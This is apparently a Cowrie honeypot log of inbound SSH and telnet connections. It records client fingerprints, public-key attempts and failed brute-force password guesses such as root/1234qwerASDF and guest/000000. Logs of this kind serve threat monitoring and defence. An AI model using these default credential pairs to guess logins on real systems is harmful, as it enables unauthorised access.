{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49628,"dst_ip":"159.203.135.109","dst_port":23,"session":"48ff7c750d4b","protocol":"telnet","message":"New connection: 128.199.8.54:49628 (159.203.135.109:23) [session: 48ff7c750d4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:11.015341Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55160,"dst_ip":"159.203.135.109","dst_port":23,"session":"8076d4e70928","protocol":"telnet","message":"New connection: 128.199.8.54:55160 (159.203.135.109:23) [session: 8076d4e70928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:13.733506Z"}
{"eventid":"cowrie.session.closed","duration":32.614102363586426,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:18.067972Z","src_ip":"128.199.8.54","session":"bad45430b5fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42834,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4f13cbf6167","protocol":"telnet","message":"New connection: 128.199.8.54:42834 (159.203.135.109:23) [session: d4f13cbf6167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:22.610760Z"}
{"eventid":"cowrie.session.closed","duration":33.10946822166443,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:31.250082Z","src_ip":"128.199.8.54","session":"8d779fce0112","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":52704,"dst_ip":"159.203.135.109","dst_port":22,"session":"df65446e0956","protocol":"ssh","message":"New connection: 122.168.194.41:52704 (159.203.135.109:22) [session: df65446e0956]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:31.302666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:31.308032Z","src_ip":"122.168.194.41","session":"df65446e0956","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:31.580917Z","src_ip":"122.168.194.41","session":"df65446e0956","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mouser","password":"mouser","message":"login attempt [mouser/mouser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:32.699020Z","src_ip":"122.168.194.41","session":"df65446e0956","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:33.977095Z","src_ip":"122.168.194.41","session":"df65446e0956","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44282,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4647a78b3ba","protocol":"telnet","message":"New connection: 128.199.8.54:44282 (159.203.135.109:23) [session: b4647a78b3ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:36.386784Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":34676,"dst_ip":"10.17.0.5","dst_port":22,"session":"91ee2f265687","protocol":"ssh","message":"New connection: 103.15.226.202:34676 (10.17.0.5:22) [session: 91ee2f265687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:37.303971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:37.309126Z","src_ip":"103.15.226.202","session":"91ee2f265687","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:37.548565Z","src_ip":"103.15.226.202","session":"91ee2f265687","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234qwerASDF","message":"login attempt [root/1234qwerASDF] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:38.266567Z","src_ip":"103.15.226.202","session":"91ee2f265687","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:39.508396Z","src_ip":"103.15.226.202","session":"91ee2f265687","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38984,"dst_ip":"159.203.135.109","dst_port":23,"session":"c65c3baf5d0b","protocol":"telnet","message":"New connection: 128.199.8.54:38984 (159.203.135.109:23) [session: c65c3baf5d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:47.622610Z"}
{"eventid":"cowrie.session.closed","duration":35.28520655632019,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:49.018593Z","src_ip":"128.199.8.54","session":"8076d4e70928","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.288718938827515,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:53.303936Z","src_ip":"128.199.8.54","session":"48ff7c750d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.10646390914917,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:38:57.717097Z","src_ip":"128.199.8.54","session":"d4f13cbf6167","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0791380405426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:10.465808Z","src_ip":"128.199.8.54","session":"b4647a78b3ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.96.178.216","src_port":44426,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef0b3596277e","protocol":"ssh","message":"New connection: 38.96.178.216:44426 (10.17.0.5:22) [session: ef0b3596277e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.495537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.501362Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.509058Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:f1:92:ce:3c:5c:0b:24:2e:d5:f4:bd:9b:9a:aa:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeL1gEw1iv46fwmoaVXuZ39TOHbteDJ/VJz9PmeOMWCUFqFAUNKVfAt3gKc9dXYV3getlYI68bkwwUvEBQpMSb+76NnqGA+46wb+EB7/7EgDL0vYcv5ovY4Sp+H/teYwP8duhBDI8RtrRmYivNGANpPb0EjHIXqao3GULJxiSCjS91BmBfHuxuOAIuDEjPZM2F/nmbnp5xeb1nEJLdT4kcvtfjLj6I1yTN4E3y1HPQ3nkk8cNsE1GoQpa1nshS8Zfw5YF6fQ3y10UCwMdiueR2t8MBaSaSPPePXQQoLpcwL0S5luo4cRRXYm7We0t7ngFKIOJszQkhCnOf10CzCtHF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:f1:92:ce:3c:5c:0b:24:2e:d5:f4:bd:9b:9a:aa:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.525815Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:f1:92:ce:3c:5c:0b:24:2e:d5:f4:bd:9b:9a:aa:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeL1gEw1iv46fwmoaVXuZ39TOHbteDJ/VJz9PmeOMWCUFqFAUNKVfAt3gKc9dXYV3getlYI68bkwwUvEBQpMSb+76NnqGA+46wb+EB7/7EgDL0vYcv5ovY4Sp+H/teYwP8duhBDI8RtrRmYivNGANpPb0EjHIXqao3GULJxiSCjS91BmBfHuxuOAIuDEjPZM2F/nmbnp5xeb1nEJLdT4kcvtfjLj6I1yTN4E3y1HPQ3nkk8cNsE1GoQpa1nshS8Zfw5YF6fQ3y10UCwMdiueR2t8MBaSaSPPePXQQoLpcwL0S5luo4cRRXYm7We0t7ngFKIOJszQkhCnOf10CzCtHF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.529726Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:82:eb:7d:32:6d:b0:94:e6:13:87:a3:9a:d1:9e:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyLbEF6EcHT7XaqPBwlmr4rDv+xAeo3KBn4hyK1LPjrFA+0trE5EfglDTlJKQ1+/aOVLTmYxa2N6Pl0PH6QU/SWI0DVnUzrg7iMmNXZCUjb4E6MKt2WX7ISv+PIBITw1Ng8u0A2fezDZ7e0ta3pc6gLzTz5vO5SilllwMVCG6Wn0/y0VkWrMMtp/OxpnbbppMDpAwVDmJbVr0xjOQeHESvonMb2Ll0iKHg4BZMMd9gLuQNV85fbtjjxKzaihxS/Xya6Q2LTZk2MBAVC0qqBIU9YZOYiqJ6mAd7V8zoFc1Wgb2xZJ61Q9+YQ28XtAeB4gzo4Ir28584zzW/5PC7C3j8Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:82:eb:7d:32:6d:b0:94:e6:13:87:a3:9a:d1:9e:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.536808Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:82:eb:7d:32:6d:b0:94:e6:13:87:a3:9a:d1:9e:fc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyLbEF6EcHT7XaqPBwlmr4rDv+xAeo3KBn4hyK1LPjrFA+0trE5EfglDTlJKQ1+/aOVLTmYxa2N6Pl0PH6QU/SWI0DVnUzrg7iMmNXZCUjb4E6MKt2WX7ISv+PIBITw1Ng8u0A2fezDZ7e0ta3pc6gLzTz5vO5SilllwMVCG6Wn0/y0VkWrMMtp/OxpnbbppMDpAwVDmJbVr0xjOQeHESvonMb2Ll0iKHg4BZMMd9gLuQNV85fbtjjxKzaihxS/Xya6Q2LTZk2MBAVC0qqBIU9YZOYiqJ6mAd7V8zoFc1Wgb2xZJ61Q9+YQ28XtAeB4gzo4Ir28584zzW/5PC7C3j8Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.541964Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:a0:76:b6:2c:35:2f:ee:d9:6d:64:cd:8d:9d:9f:3f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMX4D0shR+cZ9vdO3dJmFAWnuR/erhxdc3Rl9KvUVbbX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 9a:a0:76:b6:2c:35:2f:ee:d9:6d:64:cd:8d:9d:9f:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.548961Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:a0:76:b6:2c:35:2f:ee:d9:6d:64:cd:8d:9d:9f:3f","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMX4D0shR+cZ9vdO3dJmFAWnuR/erhxdc3Rl9KvUVbbX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.552327Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:ae:47:32:53:30:c6:f5:a9:cd:32:4d:ae:c9:61:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjcc6dFejVjDeVichFRvERuLsfoLGYRMu1MmsbgSe1U+zUW4Cc3qkKatbSkltolaQSB+5g68bzClzdhx5DlU4R/1OScDRZJb0Q2b9BvO9H1Lw5tqWuBgQcgt3qz/VHSQAV9910q6T2XCU7PW7/wGfuc7L95+lzzrMmgbA8Bm1Cmo9x1r/zXDqO2XOvJsIl2rmdpDA61Deax6oEVTPqCgRJ3sp9Tf9FCyMrBQodxmQkYzpilf3lbEF7X4zmy4rsY8MXjbmL+yX+NdoZG/Ajf2gzNaajU5DiEZ7lhp9GD9kT6WloG+vXIsL6wbdnPXbpsWIrWdypQAM7AD9N0E/Jw53","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:ae:47:32:53:30:c6:f5:a9:cd:32:4d:ae:c9:61:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.562673Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:ae:47:32:53:30:c6:f5:a9:cd:32:4d:ae:c9:61:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQjcc6dFejVjDeVichFRvERuLsfoLGYRMu1MmsbgSe1U+zUW4Cc3qkKatbSkltolaQSB+5g68bzClzdhx5DlU4R/1OScDRZJb0Q2b9BvO9H1Lw5tqWuBgQcgt3qz/VHSQAV9910q6T2XCU7PW7/wGfuc7L95+lzzrMmgbA8Bm1Cmo9x1r/zXDqO2XOvJsIl2rmdpDA61Deax6oEVTPqCgRJ3sp9Tf9FCyMrBQodxmQkYzpilf3lbEF7X4zmy4rsY8MXjbmL+yX+NdoZG/Ajf2gzNaajU5DiEZ7lhp9GD9kT6WloG+vXIsL6wbdnPXbpsWIrWdypQAM7AD9N0E/Jw53","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.566446Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8d:ab:11:bf:35:76:00:db:0f:93:30:d4:72:53:c3:90","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5K/ouu+uCxdGX8sE3TZz3zs9tFUJO2hVo1IIu+llYb","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8d:ab:11:bf:35:76:00:db:0f:93:30:d4:72:53:c3:90","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.575084Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8d:ab:11:bf:35:76:00:db:0f:93:30:d4:72:53:c3:90","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN5K/ouu+uCxdGX8sE3TZz3zs9tFUJO2hVo1IIu+llYb","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.579348Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:13.587216Z","src_ip":"38.96.178.216","session":"ef0b3596277e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08250427246094,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:21.705024Z","src_ip":"128.199.8.54","session":"c65c3baf5d0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.194.41","src_port":57734,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa6c4d0a2f92","protocol":"ssh","message":"New connection: 122.168.194.41:57734 (159.203.135.109:22) [session: aa6c4d0a2f92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:29.106750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:29.111098Z","src_ip":"122.168.194.41","session":"aa6c4d0a2f92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:29.379994Z","src_ip":"122.168.194.41","session":"aa6c4d0a2f92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"000000","message":"login attempt [guest/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:30.497818Z","src_ip":"122.168.194.41","session":"aa6c4d0a2f92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:31.768055Z","src_ip":"122.168.194.41","session":"aa6c4d0a2f92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":47990,"dst_ip":"159.203.135.109","dst_port":22,"session":"241e0d6abadf","protocol":"ssh","message":"New connection: 45.148.10.121:47990 (159.203.135.109:22) [session: 241e0d6abadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:36.793775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:36.798168Z","src_ip":"45.148.10.121","session":"241e0d6abadf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:39:36.885007Z","src_ip":"45.148.10.121","session":"241e0d6abadf","protocol":"ssh"}
